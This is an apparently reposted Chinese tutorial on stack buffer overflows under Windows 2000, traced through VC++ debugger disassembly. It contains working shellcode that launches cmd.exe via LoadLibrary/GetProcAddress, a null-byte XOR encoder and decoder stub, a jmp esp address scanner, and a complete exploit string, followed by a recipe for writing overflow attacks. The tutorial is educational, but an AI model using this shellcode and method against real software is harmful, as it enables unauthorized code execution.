分享
 
 
 

Windows 2000缓冲区溢出技术原理

王朝system·作者佚名  2006-02-01
窄屏简体版  字體: |||超大  

前言:

在看Jason著backend翻译的《Windows 2000缓冲区溢出入门》时觉得过于简单,没有讲到真正的

原理,我简直不敢相信那会是老外写的文章. 相反在看ipxodi和袁哥的缓冲区溢出原理和高级

ShellCode编写技巧时我觉得写的太好了,非常专业,简直是一种艺术,看来我国的安全技术已经在

向欧美等技术先进国家迈进。但是面向初学者的,进行详细分析的缓冲溢出入门文章还是很少(我

还没有看到),所以我下决心写了这篇文章,从C的局部变量分配以及它和堆栈的关系、返回地址和

堆栈的关系、局部变量和返回地址以及堆栈的关系开始写起,并在讲述完原理后进行简单的应用,

使理论和应用相结合,以给广大初学缓冲溢出的朋友一点小小的帮助,本文还是具有典型性的,通

过本文的学习,可以让我们从一个普通的C程序员,了解到更加底层的技术,本文虽是面向初学者(

指初学缓冲溢出,而不是初学C语言),作者假定你(读者)已经是一位熟练的C程序员,并且了解一些

Asm编程技术。我也是刚学缓冲区溢出不久,这是我第一次写溢出技术,所以难免有错误的地方,还

请大家指正,在ipxodi和袁哥的文章中我学到了很多东西,但ipxodi和袁哥和文章比较深比较专业

,初学者学习起来有些困难,特别我又是非计算机专业的(我和绿盟的小四哥一样是电脑会计专业的

,向小四哥学习,呵呵!).在这里把我学习时的一点理解,一点经验介绍给大家,希望对广大学习缓冲

溢出的朋友有所帮助!

第一章存储分配,局部内存变量,堆栈和函数调用

1,首先写一个简单的C字符串拷贝程序

//test.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

void overflow(void)

{

char buf[10];

strcpy(buf,"aaaaaaaaaa");

}//end overflow

int main(void)

{

overflow();

return 0;

}//end main

2,按F11进入"Step into"调试模式,其实只需要留意对我们研究和学习有用的汇编程序段,如下:

1: #include <stdio.h>

2: #include <stdlib.h>

3: #include <string.h>

4:

5: void overflow(void)

6: {

00401020 55 push ebp

00401021 8B EC mov ebp,esp

00401023 83 EC 4C sub esp,4Ch

00401026 53 push ebx

00401027 56 push esi

00401028 57 push edi

00401029 8D 7D B4 lea edi,[ebp-4Ch]

0040102C B9 13 00 00 00 mov ecx,13h

00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh

00401036 F3 AB rep stos dword ptr [edi]

7: char buf[10];

8: strcpy(buf,"aaaaaaaaaa");

00401038 68 1C F0 41 00 push offset string "aaaaaaaaaa" (0041f01c)

0040103D 8D 45 F4 lea eax,[ebp-0Ch]

00401040 50 push eax

00401041 E8 6A 00 00 00 call strcpy (004010b0)

00401046 83 C4 08 add esp,8

9:

10: }//end overflow

00401049 5F pop edi

0040104A 5E pop esi

0040104B 5B pop ebx

0040104C 83 C4 4C add esp,4Ch

0040104F 3B EC cmp ebp,esp

00401051 E8 4A 01 00 00 call __chkesp (004011a0)

00401056 8B E5 mov esp,ebp

00401058 5D pop ebp

00401059 C3 ret

11:

12: int main(void)

13: {

00401070 55 push ebp

00401071 8B EC mov ebp,esp

00401073 83 EC 40 sub esp,40h

00401076 53 push ebx

00401077 56 push esi

00401078 57 push edi

00401079 8D 7D C0 lea edi,[ebp-40h]

0040107C B9 10 00 00 00 mov ecx,10h

00401081 B8 CC CC CC CC mov eax,0CCCCCCCCh

00401086 F3 AB rep stos dword ptr [edi]

14: overflow();

00401088 E8 7D FF FF FF call @ILT+5(overflow) (0040100a)

15: return 0;

0040108D 33 C0 xor eax,eax

16: }//end main

0040108F 5F pop edi

00401090 5E pop esi

00401091 5B pop ebx

00401092 83 C4 40 add esp,40h

00401095 3B EC cmp ebp,esp

00401097 E8 04 01 00 00 call __chkesp (004011a0)

0040109C 8B E5 mov esp,ebp

0040109E 5D pop ebp

0040109F C3 ret

3,返回VStudio IDE,在调用overflow函数处设置断点,再次选择"Run"菜单项

这时程序在调用overflow前停止。(下面的学习你需要不断地翻看上面的Asm程序段)

现在看一下在调用overflow之前的几个需要注意的参数,把它们加入"Watch"窗口

esp 0x0012ff34(注意:这些值在不同的机器上运行时可能会不一样)

ebp 0x0012ff80

buf 变量尚未分配

overflow 0x00401020

main 0x00401070

4,按F11跟踪进入overflow,让程序停在6:

现在再看一下几个主要参数

esp=0x0012ff30,其它未变(指我们watch的几个标识符,这时eip一定是会变化的)

很显然堆栈里压了一个dword(4字节)数据,看看它是什么,打开memory窗口,

输入esp,右击窗口内容,选"Long Hex Format",当前的堆栈顶内容0x0040108d,

现在请看一下call overflow的下一行,如果找不到请从头搜索"15:"字符串,

看到了吗!压入的是call overflow的下一指令地址,也就是我们通常说的"函数返

回地址".

再按F11(执行push ebp),再看一下几个主要参数

esp=0x0012ff2c,现在堆栈顶中是ebp的值0x0012ff80,

再按F11(执行下面的语句),程序将当前esp值保存在ebp中: mov ebp,esp

然后就开始分配局部变量了

sub esp,4ch;分配了76(0x4c)个字节这个地方我不太清楚为什么始终要保留64(0x40)个字节,

其实只有12(0x0c)字节可用,随后的7句指令:

00401026 53 push ebx

00401027 56 push esi

00401028 57 push edi

00401029 8D 7D B4 lea edi,[ebp-4Ch]

0040102C B9 13 00 00 00 mov ecx,13h

00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh

00401036 F3 AB rep stos dword ptr [edi]

将这76个字节以dword(4)为单位填充为0xcccccccc,共填充76/4=19(0x13)次

让我们在执行完rep stos dword ptr [edi]时先停下来.在watch窗口里加入eip和一个表达式

"ebp-0ch",会发现在"ebp-0ch"和buf的地址一样,这就是编译程序在堆栈中为我们分配的局部

内存变量的起始地址(如果你懂编译原理,这里很容易理解),在memory窗口里输入ebp-0ch

(变量起始地址),右击窗口选"Byte Format",可以看到里面有12个字节是被0xcc填充过的.

好!现在跟踪执行完call strcpy,再看看Memory窗口的内容,有11个字节被填充,前10个填充为

0x61即ASCII字符'a',后一个字节为0这验证了C字符串操作函数总是产生一个空终止字符。

再往下看,右击选"Long Hex Format"看到它们分别是 0x0012ff80和0x0040108d,什么?有点

熟?对啊!我也觉得有点面熟,为什么呢?请回头看一下第4小节的开始部分,找到答案了?对!

是"老的ebp"和"函数返回地址",继续跟踪将执行以下几个动作,恢复主要寄存器内容,

add esp 4ch销毁了局部内存变量恢复老的ebp(这时堆栈顶的内容为0x0040108d),再ret返回

(其实ret相当于执行了一次"pop eip",但并没有这样的指令)执行完这条指令后eip的内容变

为0x0040108d,这时已经回到了主函数中,在主函数中将执行几乎同样的动作,最后完成程序执行。

有人可能会问overflow需要回到main所以用了一个ret,可是main中的ret是做什么用的呢?

其实初学者可能并不知道我们的C程序编译后程序的空间结构(简化后的)是这么一个样子的.

----------------------------------

//程序入口点(Program Entry Point)

.

.

.

call _main

push eax

call _ExitProcess

.

----------------------------------

//void overflow(void)

push ebp

.

.

.

call _strcpy

.

.

.

ret

----------------------------------

//int main(void)

push ebp

.

.

.

call _overflow

.

.

.

ret

----------------------------------

overflow中的ret让程序回到main,而main中的ret是为了回到入口点那段程序,以返回操作系统。

小结:在第一章里我们学习到了一些为理解缓冲区溢出打基础的东西,如局部内存变量是如

何分配的,它于堆栈的关系以及函数调用、函数返回地址与堆栈的关系,把这些东西搞懂

了以后我们可以进行一些简单的应用,出于学习原理的目的,在下一章中我们将用缓冲溢

出来实现一个命令控制台窗口(cmd.exe),如果你需要更实用的,可以参照ipxodi和袁哥

的相关技术文章。

第二章 利用溢出覆盖,改变程序流程及其简单应用

第一节,地址覆盖

同样的还是第一章开头的那个程序,让我们改成为一个有缓冲溢出问题的程序.

//test.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

void overflow(void)

{

char buf[10];

strcpy(buf,"aaaaaaaaaab1234");//<=-----改这里在原来的十个'a'后再加"b1234"

}//end overflow

int main(void)

{

overflow();

return 0;

}//end main

重新编译,在strcpy处设置断点,然后无错运行到断点处,切换到汇编代码窗口

00401020 55 push ebp

00401021 8B EC mov ebp,esp

00401023 83 EC 4C sub esp,4Ch

00401026 53 push ebx

00401027 56 push esi

00401028 57 push edi

00401029 8D 7D B4 lea edi,[ebp-4Ch]

0040102C B9 13 00 00 00 mov ecx,13h

00401031 B8 CC CC CC CC mov eax,0CCCCCCCCh

00401036 F3 AB rep stos dword ptr [edi]

7: char buf[10];

8: strcpy(buf,"aaaaaaaaaab1234");//<=-----让程序停在这里

00401038 68 1C F0 41 00 push offset string "aaaaaaaaaab1234" (0041f01c)

0040103D 8D 45 F4 lea eax,[ebp-0Ch]

00401040 50 push eax

00401041 E8 6A 00 00 00 call strcpy (004010b0)

00401046 83 C4 08 add esp,8

9: }//end overflow

00401049 5F pop edi

0040104A 5E pop esi

0040104B 5B pop ebx

0040104C 83 C4 4C add esp,4Ch

0040104F 3B EC cmp ebp,esp

00401051 E8 4A 01 00 00 call __chkesp (004011a0)

00401056 8B E5 mov esp,ebp

00401058 5D pop ebp

00401059 C3 ret

在watch窗口加入ebp和buf,并在memory窗口输入"buf"看一下strcpy函数执行以前的堆栈情况,选择

"Long Hex Format",可以看到当前的堆栈情况如下:

0012FEE0 CCCCCCCC

.

.

.

.

0012FF20 CCCCCCCC //<=----buf的起始地址(再次强调,不同机器上运行时这里的值可能会不一样),12字节可用

0012FF24 CCCCCCCC

0012FF28 CCCCCCCC

0012FF2C 0012FF80 //<=----老的ebp,是由函数开始处的push ebp指令填入的

0012FF30 0040108D //<=----函数返回地址即main函数中call overflow指令的下指令地址

也可以表示为:

[64个保留字节(填充为0xcc)]

[buf(12个可用字节,当前全部填充为0xcc)]

[老的ebp(当前为0x0012FF80)]

[函数返回地址(当前为0x0040108D)]

按F10直至执行完call strcpy再看一下memory窗口红色的部分,选择"Byte Format",从buf的起始地址开始被填入了十个0x61('a'),一个0x62('b'),0x31('1'),0x32('2'),0x33('3'),0x34('4'),以及一个0x00,可以看到"老的ebp"已经被我们改变了:

0012FEE0 CCCCCCCC

.

.

.

.

0012FF20 61 61 61 61 aaaa //<=----buf的起始地址,内容已经改变

0012FF24 61 61 61 61 aaaa

0012FF28 61 61 62 31 aab1 //<=----注意!!!!!

0012FF2C 32 33 34 00 234. //<=----老的ebp内容已经被改变

0012FF30 8D 10 40 00 ..@. //<=----函数返回地址未变

看一下我刚才让你注意的地方,'b'和'1'将buf的12个可用字节的最后两个字节填充了,而后面的'2','3','4'和0x00做为一个dword覆盖(修改)了ebp的值,再下面一个dword就是函数返回地址,再按F10执行,程序可以正常返回main(因为我们没有修改返回地址值),看到了这里改变函数返回地址成另外一个任意的值(让程序流程跳到另一地址空间)我想已经不是什么难事了吧!

可能初学缓冲溢出的朋友会问“这管什么用呢?”,不要着急下面我们就看看这样的技术究竟可以做什么!

第二节,利用地址覆盖,跳转并执行任意代码

这一部分开始将有些复杂,你的C/Asm混合编程技术将得到煅炼,写一个程序使程序开启一个cmd.exe原理是这样的:先用LoadLibrary("msvcrt.dll")装载vc运行时库(Runtime Library)再用GetProcAddress("system")获得system函数起址,system函数有什么作用不用我说了吧!如果不明白请参阅msdn.再用system("cmd.exe")开启cmd.exe命令控制台

程序如下

#include <stdio.h>

void main(void)

{

__asm

{//在这里模拟出一个函数体内的程序结构,我们自己分配空间来存储"msvcrt.dll","system","cmd.exe"三个字串

push ebp

push ecx

push edx

mov ebp,esp

sub esp,20h//分配32(0x20)个字节就已经够用了

xor ecx,ecx

/**************************************/

//调用LoadLibrary函数装载msvcrt.dll

mov byte ptr [ebp-0bh],'m'

mov byte ptr [ebp-0ah],'s'

mov byte ptr [ebp-09h],'v'

mov byte ptr [ebp-08h],'c'

mov byte ptr [ebp-07h],'r'

mov byte ptr [ebp-06h],'t'

mov byte ptr [ebp-05h],'.'

mov byte ptr [ebp-04h],'d'

mov byte ptr [ebp-03h],'l'

mov byte ptr [ebp-02h],'l'

mov byte ptr [ebp-01h],0

lea eax,[ebp-0bh]

push eax

mov ecx,77e6a254h;//<=----用depends获得的LoadLibrary函数地址,在我的机器上它是不变的,你学习本文时可能要修改

call ecx

mov edx,eax//保存装载后msvcrt.dll在内存中的起始地址

//调用GetProcAddress取得system函数起址

mov byte ptr [ebp-0bh],'s'

mov byte ptr [ebp-0ah],'y'

mov byte ptr [ebp-09h],'s'

mov byte ptr [ebp-08h],'t'

mov byte ptr [ebp-07h],'e'

mov byte ptr [ebp-06h],'m'

mov byte ptr [ebp-05h],0

lea eax,[ebp-0bh]

push eax

push edx

mov ecx,77e69ac1h;//<=----同样的用depends获得的,你学习本文时可能要修改它

call ecx

mov edx,eax//保存获得的system函数在内存中的起始地址

//调用system开启cmd环境

mov byte ptr [ebp-0bh],'c'

mov byte ptr [ebp-0ah],'m'

mov byte ptr [ebp-09h],'d'

mov byte ptr [ebp-08h],'.'

mov byte ptr [ebp-07h],'e'

mov byte ptr [ebp-06h],'x'

mov byte ptr [ebp-05h],'e'

mov byte ptr [ebp-04h],0

lea eax,[ebp-0bh]

push eax

call edx

add esp,4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)由调用者调整堆栈

/**************************************/

mov esp,ebp

pop edx

pop ecx

pop ebp

}

}

编译、运行得到命令控制台,调入Step Into调试模式,选择"Disassembly"和"Code Bytes"得到机器代码如下:

char code[]="\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"

"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"

"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"

"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"

"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"

"\xC6\x45\xFF\x00\x8D\x45\xF5\x50\xB9\x54"//<=----注意:第一个0x00

"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"

"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"

"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"

"\x6D\xC6\x45\xFB\x00\x8D\x45\xF5\x50\x52"//<=----第二个0x00

"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"

"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"

"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"

"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"

"\x00\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个0x00

"\x8B\xE5\x5A\x59\x5D"

如果不懂在汇编语言中调用C函数如何调整参数,请参阅罗云琳大哥的相关资料。

经过第一章和第二章这么多的分析你的头脑中应该有了一个ShellCode的雏形的了吧!在这里我们的溢出字串不再使用aaaaaaaaaab1234而是将它设计成这样:aaaaaaaaaabbddddxxxxcccccccc......的格式.前10个a和2个'b'作用不变(其实没有用,"垫脚石"而已),中4个dddd覆盖ebp,xxxx为jmp esp指令的内存地址(它覆盖了程序原来的返回地址),后面的cccccccc......是我们上面的获得命令控制台程序的机器码(经过编码的)。

当字串溢出后overflow的ret让eip=xxxx(执行jmp esp),这时esp指向我们的命令控制台程序起址,这样就让原本应该回到主函数继续执行的程序流程改变去执行我们的代码了,这里还有一个小问题是C的字串起考贝函数会在Code字串里的第一个0x00处(共三个分别在code的第53偏移、第95偏移和第140偏移处)将我们的ShellCode截断,这样就我们希望执行的代码将不被全部执行,所以ShellCode必须经过编码将0x00异或0x99,并在溢出后动态解码,这就需要一段解码程序加在ShellCode前面,溢出后它将首先被执行,它将Shellcode中的经过编码的0x99解码(还原)成0x00,编码我参考了ipxodi的异或0x99方法,在本文中我使用了不同的解码算法,先将code编码成这样:

"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"

"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"

"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"

"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"

"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"

"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"//<=----第一个编码后的0x99,请比较未编码前的相应位置的值

"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"

"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"

"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"

"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"//<=----第二个编码后的0x99

"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"

"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"

"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"

"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"

"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"//<=----第三个编码后的0x99

"\x8B\xE5\x5A\x59\x5D";

需要在它头部加上以下解码子程序:

__asm

{

mov eax,esp; //这是溢出后执行jmp esp后执行的第一条指令,esp指向当前指令地址,意义是"获得解码程序起址"

add eax,44h; //这个解码子程序有20个字节(解码程序起址+20=code起址,再加上53偏移)使eax指向第一个编码过的0x99

xor [eax],99h //解码第一个0x99,这个操作的意义是"0x99异或0x99=0x00",即还原成0x00

add eax,28h //指向第95偏移

xor [eax],99h //解码第二个0x99

add eax,2eh //指向第140偏移

xor [eax],99h //解码第三个0x99

}

jmp esp指令地址是通过下面这个简单的程序找到的,请参考backend的相关资料:

#include "stdafx.h"

#include "find.h"

#ifdef _DEBUG

#define new DEBUG_NEW

#undef THIS_FILE

static char THIS_FILE[] = __FILE__;

#endif

/////////////////////////////////////////////////////////////////////////////

// The one and only application object

CWinApp theApp;

using namespace std;

int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])

{

int nRetCode = 0;

// initialize MFC and print and error on failure

if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))

{

// TODO: change error code to suit your needs

cerr << _T("Fatal Error: MFC initialization failed") << endl;

nRetCode = 1;

}

else

{

#if 0

return 0;

__asm jmp esp

#else

bool we_loaded_it = false;

HINSTANCE h;

TCHAR dllname[] = _T("msvcrt");

h = GetModuleHandle(dllname);

if(h == NULL)

{

h = LoadLibrary(dllname);

if(h == NULL)

{

cout<<"ERROR LOADING DLL: "<<dllname<<endl;

return 1;

}

we_loaded_it = true;

}

BYTE* ptr = (BYTE*)h;

bool done = false;

for(int y = 0;!done;y++)

{

try

{

if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)

{

int pos = (int)ptr + y;

cout<<"OPCODE found at 0x"<<hex<<pos<<endl;

}

}

catch(...)

{

cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;

done = true;

}

}

if(we_loaded_it) FreeLibrary(h);

#endif

}

return nRetCode;

}

在我的机器上找到的jmp esp代码在0x78024e02地址处,这样我们已经收集全了所有的信息:

(溢出点,jmp esp代码地址,经过编码的ShellCode和解码ShellCode的子程序)

Shellcode=溢出字串+jmp esp+解码子程序+code(编码后的)得到如下代码:

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <windows.h>

char xcode[]="aaaaaaaaaabbdddd"

"\x02\x4e\x02\x78"//jmp esp 代码地址,不同机器不同动态连接库版本可能不一样

"\x8B\xC4\x83\xC0\x49\x80\x30\x99\x83\xC0"//解码子程序

"\x29\x80\x30\x99\x83\xC0\x2e\x80\x30\x99"

"\x55\x51\x52\x8B\xEC\x83\xEC\x20\x33\xC9"//开启cmd.exe的程序(code)

"\xC6\x45\xF5\x6D\xC6\x45\xF6\x73\xC6\x45"

"\xF7\x76\xC6\x45\xF8\x63\xC6\x45\xF9\x72"

"\xC6\x45\xFA\x74\xC6\x45\xFB\x2E\xC6\x45"

"\xFC\x64\xC6\x45\xFD\x6C\xC6\x45\xFE\x6C"

"\xC6\x45\xFF\x99\x8D\x45\xF5\x50\xB9\x54"

"\xA2\xE6\x77\xFF\xD1\x8B\xD0\xC6\x45\xF5"

"\x73\xC6\x45\xF6\x79\xC6\x45\xF7\x73\xC6"

"\x45\xF8\x74\xC6\x45\xF9\x65\xC6\x45\xFA"

"\x6D\xC6\x45\xFB\x99\x8D\x45\xF5\x50\x52"

"\xB9\xC1\x9A\xE6\x77\xFF\xD1\x8B\xD0\xC6"

"\x45\xF5\x63\xC6\x45\xF6\x6D\xC6\x45\xF7"

"\x64\xC6\x45\xF8\x2E\xC6\x45\xF9\x65\xC6"

"\x45\xFA\x78\xC6\x45\xFB\x65\xC6\x45\xFC"

"\x99\x8D\x45\xF5\x50\xFF\xD2\x83\xC4\x04"

"\x8B\xE5\x5A\x59\x5D";

void overflow(void)

{

char buf[10];

strcpy(buf,xcode);//模拟溢出漏洞

}//end overflow

int main(void)

{

LoadLibrary("msvcrt.dll");//模拟受攻击应用程序引入的msvcrt.dll(这里只是模拟,有些漏洞程序并不引入这个库)

overflow();

return 0;

}//end main

本程序在Windows 2000 Pro 5.00.2195 SP2下,由VC++ 6.0编译、调试、运行通过。

第二章小结:

写一个溢出攻击测试程序需要以下步骤:

1,发现并确定漏洞程序的溢出点

2,找到jmp esp指令地址

3,编写并优化Shellcode程序代码(C或Asm),如果必要在Shellcode头部加上编/解码程序(如本文所举的例子)

4,调试、测试代码有效性,公布代码(如果不是很危险,否则可能会触犯法律)

关于:

程序设计是一门高度艺术化的技术,可现在很多人(程序员)却说"不需要会经典算法,不需要会数据结构,不需要会底层技术,我们做不了的可以让其它公司做,光使用VB.NET做开发,赚的钱就够我用的了..",我却要说这些人并不是真正的程序员,我非常崇拜XFocus的FlashSky以及NSFocus的ipxodi、袁哥、小四哥等,他们中同样有很多人是非计算机专业的,可在我心目中他们才是高境界的程序员,我会努力的向他们学习,并不断的充实自己,希望在不久的将来我会成为中安网的FlashSky......!

最后:

进行溢出攻击要比本文描述的复杂很多(本文只是剖析溢出原理,在完全理解本文以后,你也可以试着练习练习),首先溢出点很难确定(计算),这需要你熟练使用反汇编工具和调试工具,并有大量的调试经验(看到某一段Asm代码马上就可以想像到它的C代码表示),还有ShellCode要写的不具有平台依赖性,也就是说它越通用越好(当然你别指望为Windows写的ShellCode可以拿到Unix/Linux上使用,反之亦然),最好是将ShellCode里用到的函数全部都动态引入(用LoadLibrary和GetProcAddress函数,这也是我为什么在第二章开启cmd.exe的程序里使用它们的原因,袁哥写的文章<ShellCode编写高级技术>里甚至连这两个函数也使用高深的技术动态引入,jmp esp代码地址同样是动态定位的,天啦!活佛转世;-))

此外,ShellCode的编/解码子程序同样重要,编写的好坏直接决定代码是否被完整执行,同样有很深的东西可以学习和研究。

终于完成了这篇溢出技术文章,我觉得我的脑子现在就像一个要溢出的堆栈:-),受不了了,不说了,再见!

writen by yellow from www.safechina.net

The End.

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有